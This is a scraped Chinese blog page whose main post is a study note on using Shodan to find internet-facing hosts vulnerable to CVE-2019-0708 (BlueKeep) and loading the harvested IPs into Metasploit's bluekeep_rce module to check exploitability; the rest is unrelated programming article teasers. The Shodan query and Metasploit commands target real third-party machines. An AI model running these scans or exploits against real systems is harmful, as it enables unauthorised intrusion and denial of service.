当前位置： 首页 > news >正文

shodan2-批量查找CVE-2019-0708漏洞

news 2026/1/1 12:35:23

声明！
学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关，切勿触碰法律底线，否则后果自负！！！！

目录

  • 批量查找CVE-2019-0708漏洞
    • 简述：

批量查找CVE-2019-0708漏洞

简述：

漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的，导致机器蓝屏瘫痪。

输入命令：

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'

用16进制是因为shodan search vuln:cve -2019-0708 命令对于学术账号无权限使用，需要注册更高一级账户

查到ip和对应端口后，通过 shodan host ip 来验证是否存在该漏洞，如下所示，这个ip则存在CVE-2019-0708漏洞


扫描下来的ip可以放到文档里（注意把端口删掉），利用windows自带远程桌面连接尝试连接


回到kali，输入msfconsole，再输入search 0708 查找此漏洞

输入以下命令启用这个模块

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

输入show options显示选项


然后输入 set rhosts file: 上述存放ip的文档路径

这里可以直接把文件托进命令面板


再输入check检查，带* 号的不能利用，带+号的可以利用


输入show targets可以查看利用的版本


输入exit退出

相关文章：

shodan2-批量查找CVE-2019-0708漏洞

声明！ 学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关&#…...

编程日记 2024/12/5 1:25:53

面向对象(二)——类和对象(上)

1 类的定义 做了关于对象的很多介绍，终于进入代码编写阶段。 本节中重点介绍类和对象的基本定义，属性和方法的基本使用方式。 【示例】类的定义方式 // 每一个源文件必须有且只有一个public class，并且类名和文件名保持一致！ …...

编程日记 2024/12/5 1:24:52

Redis3——线程模型与数据结构

Redis3——线程模型与数据结构 本文讲述了redis的单线程模型和IO多线程工作原理，以及几个主要数据结构的实现。 1. Redis的单线程模型 redis6.0之前，一个redis进程只有一个io线程，通过reactor模式可以连接大量客户端；redis6.0为了…...

编程日记 2024/12/5 1:16:37

linux 获取公网流量 tcpdump + python + C++

前言 需求为，统计linux上得上下行公网流量，常规得命令如iftop 、sar、ifstat、nload等只能获取流量得大小，不能区分公私网，所以需要通过抓取网络包并排除私网段才能拿到公网流量。下面提供了一些有效得解决思路，提供了…...

编程日记 2024/12/5 1:11:32

C++知识整理day3类与对象（下）——赋值运算符重载、取地址重载、列表初始化、友元、匿名对象、static

文章目录 1.赋值运算符重载1.1 运算符重载1.2 赋值运算符重载 2.取地址重载2.1 const成员函数2.2 取地址运算符重载 3.类与对象的补充3.1 再探构造函数---初始化列表3.2 类型转换3.3 static成员3.4 友元3.5 内部类3.6 匿名对象3.7 对象拷贝时的编译器优化 1.赋值运算符重载 赋…...

编程日记 2024/12/5 1:10:31

pytest（二）excel数据驱动

一、excel数据驱动 excel文件内容 excel数据驱动使用方法 import openpyxl import pytestdef get_excel():excel_obj openpyxl.load_workbook("../pytest结合数据驱动-excel/data.xlsx")sheet_obj excel_obj["Sheet1"]values sheet_obj.valuescase_li…...

编程日记 2024/12/5 1:08:29

python蓝桥杯刷题3

1.解方程组解 题解：首先让a，b，c进行遍历，然后计算得到1000时输出结果，其次考虑1000开根号是多大，计算得到32的倍数是1024，所有选择（1，32）进行遍历&#xff0c…...

编程日记 2024/12/5 1:05:22

基于PySpark 使用线性回归、随机森林以及模型融合实现天气预测

基于PySpark 实现天气预测与模型集成 在大数据分析与机器学习领域，Spark 提供了强大的计算能力和灵活的扩展性。本文将介绍如何利用 PySpark 完成以下任务： 1、数据预处理：清洗和编码天气数据。 2、特征工程：合并数值和分类特征…...

编程日记 2024/12/5 1:03:20

Day 30 贪心算法 part04

今天的三道题目，都算是 重叠区间 问题，大家可以好好感受一下。 都属于那种看起来好复杂，但一看贪心解法，惊呼：这么巧妙！ 这种题还是属于那种，做过了也就会了，没做过就很难想出来。 不过大家把如下三题做了之后， 重叠区间 基本上差不多了 452. 用最少数量的箭引爆气球…...

编程日记 2024/12/5 1:02:17

dns实验3：主从同步-完全区域传输

服务器192.168.234.111（主服务器），打开配置文件： 打开配置文件： 关闭防火墙，改宽松模式： 重启服务： 服务器192.168.234.112（从服务器），打开配置文…...

编程日记 2024/12/5 0:57:12

数据结构 （20）二叉树的遍历与线索化

一、二叉树的遍历 遍历是对树的一种最基本的运算，所谓遍历二叉树，就是按一定的规则和顺序走遍二叉树的所有节点，使每一个节点都被访问一次，而且只被访问一次。二叉树的遍历方式主要有四种：前序遍历、中序遍历、后序遍历…...

编程日记 2024/12/5 0:56:11

【docker】Overlay网络

什么是 Overlay 网络？ Overlay 网络是一种 Docker 网络驱动，允许容器在不同主机间通信。 它依赖分布式存储（如 Swarm、Etcd 或 Consul）来管理网络配置和路由。 Overlay 网络的核心特点 跨主机通信：容器可以跨物理主…...

编程日记 2024/12/5 0:54:08

基于智能语音交互的智能呼叫中心工作机制

在智能化和信息化不断进步的现代，智能呼叫中心为客户提供高质量、高效率的服务体验，提升众多品牌用户的满意度和忠诚度。作为实现智能呼叫中心的关键技术之一的智能语音交互技术，它通过集成自然语言处理（NLP）、语音识别…...

编程日记 2024/12/5 0:53:06

Linux条件变量线程池详解

一、条件变量 【互斥量】解决了线程间同步的问题，避免了多线程对同一块临界资源访问产生的冲突，但同一时刻对临界资源的访问，不论是生产者还是消费者，都需要竞争互斥锁，由此也带来了竞争的问题。即生产者和消费者、消费…...

编程日记 2024/12/5 0:52:06

有趣的Docker

👉【腾讯云】云服务器、云数据库、COS、CDN、短信等云产品特惠热卖中 1. Docker 上的“全世界”命令行 你可以在 Docker 容器中运行一个模拟的 “世界地图”，并通过命令行与它互动。这是一个非常有趣的项目，结合了命令行和图形界面的交互。…...

编程日记 2024/12/5 0:48:02

深入探讨锁升级问题

1. 引言 本文深入探讨锁升级问题。 2. 锁升级问题概述 2.1 锁升级的概念 2.1.1 定义 锁升级是指数据库管理系统将较低粒度的锁（如行级锁）转换为较高粒度的锁（如表级锁）的过程。这种情况通常发生在事务对同一对象的多个较低粒…...

编程日记 2024/12/5 0:47:01

MySQL篇—通过官网下载linux系统下多种安装方式的MySQL社区版软件

💫《博主介绍》：✨又是一天没白过，我是奈斯，DBA一名✨ 💫《擅长领域》：✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux，也在扩展大数据方向的知识面✌️…...

编程日记 2024/12/5 0:35:46

6.824/6.5840(2024)环境配置wsl2+vscode

本文是经过笔者实践得出的最速の环境配置 首先，安装wsl2和vscode 具体步骤参见Mit6.s081环境配置踩坑之旅WSL2VScode_mit6s081-CSDN博客 接下来开始为Ubuntu(笔者使用的版本依然是20.04)配置go的相关环境 1、更新Ubuntu的软件包 sudo apt-get install build-es…...

编程日记 2024/12/5 0:31:42

【乐企文件生成工程】搭建docker环境，使用docker部署工程

1、自行下载docker 2、自行下载docker-compose 3、编写Dockerfile文件 # 使用官方的 OpenJDK 8 镜像 FROM openjdk:8-jdk-alpine# 设置工作目录 WORKDIR ./app# 复制 JAR 文件到容器 COPY ../lq-invoice/target/lq-invoice.jar app.jar # 暴露应用程序监听的端口 EXPOSE 1001…...

编程日记 2024/12/5 0:30:41

常见的数据结构---队列、树与堆的深入剖析

目录 一、队列 二、树 三、堆 在现代计算机科学与工程领域，队列、树和堆是三种极其重要的基础数据结构，它们各自具有独特的特点和应用。在日常开发中，合理选择和使用这些数据结构可以显著提高程序的效率和可维护性。它们不仅奠定了算法设计…...

编程日记 2024/12/5 0:29:40

网络编程（Modbus进阶）

思维导图 Modbus RTU（先学一点理论） 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议，由 Modicon 公司（现施耐德电气）于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

编程新知 2025/12/31 14:00:15

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日，国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解，“超级…...

编程新知 2025/12/25 7:21:38

学习STC51单片机31（芯片为STC89C52RCRC）OLED显示屏1

每日一言 生活的美好，总是藏在那些你咬牙坚持的日子里。 硬件：OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写，"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

编程新知 2025/12/30 16:34:57

Linux-07 ubuntu 的 chrome 启动不了

文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了，报错如下四、启动不了，解决如下 总结 问题原因 在应用中可以看到chrome，但是打不开(说明：原来的ubuntu系统出问题了，这个是备用的硬盘&a…...

编程新知 2026/1/1 7:07:29

html-＜abbr＞ 缩写或首字母缩略词

定义与作用 <abbr> 标签用于表示缩写或首字母缩略词&#xff0c;它可以帮助用户更好地理解缩写的含义&#xff0c;尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时&#xff0c;会显示一个提示框。 示例&#x…...

编程新知 2025/12/31 11:31:07

【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题

【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要&#xff1a; 近期&#xff0c;在使用较新版本的OpenSSH客户端连接老旧SSH服务器时&#xff0c;会遇到 "no matching key exchange method found"​, "n…...

编程新知 2025/9/29 4:00:38

如何应对敏捷转型中的团队阻力

应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中&#xff0c;明确沟通敏捷转型目的尤为关键&#xff0c;团队成员只有清晰理解转型背后的原因和利益&#xff0c;才能降低对变化的…...

编程新知 2025/12/31 0:35:59

DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态

前言 在人工智能技术飞速发展的今天&#xff0c;深度学习与大模型技术已成为推动行业变革的核心驱动力&#xff0c;而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心&#xff0c;系统性地呈现了两部深度技术著作的精华&#xff1a;…...

编程新知 2026/1/1 7:35:42

Vue3中的computer和watch

computed的写法 在页面中 <div>{{ calcNumber }}</div>script中 写法1 常用 import { computed, ref } from vue; let price ref(100);const priceAdd () > { //函数方法 price 1price.value ; }//计算属性 let calcNumber computed(() > {return ${p…...

编程新知 2025/11/8 20:34:42

高分辨率图像合成归一化流扩展

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 1 摘要 我们提出了STARFlow&#xff0c;一种基于归一化流的可扩展生成模型&#xff0c;它在高分辨率图像合成方面取得了强大的性能。STARFlow的主要构建块是Transformer自回归流&#xff08;TARFlow&am…...

编程新知 2025/12/29 2:28:56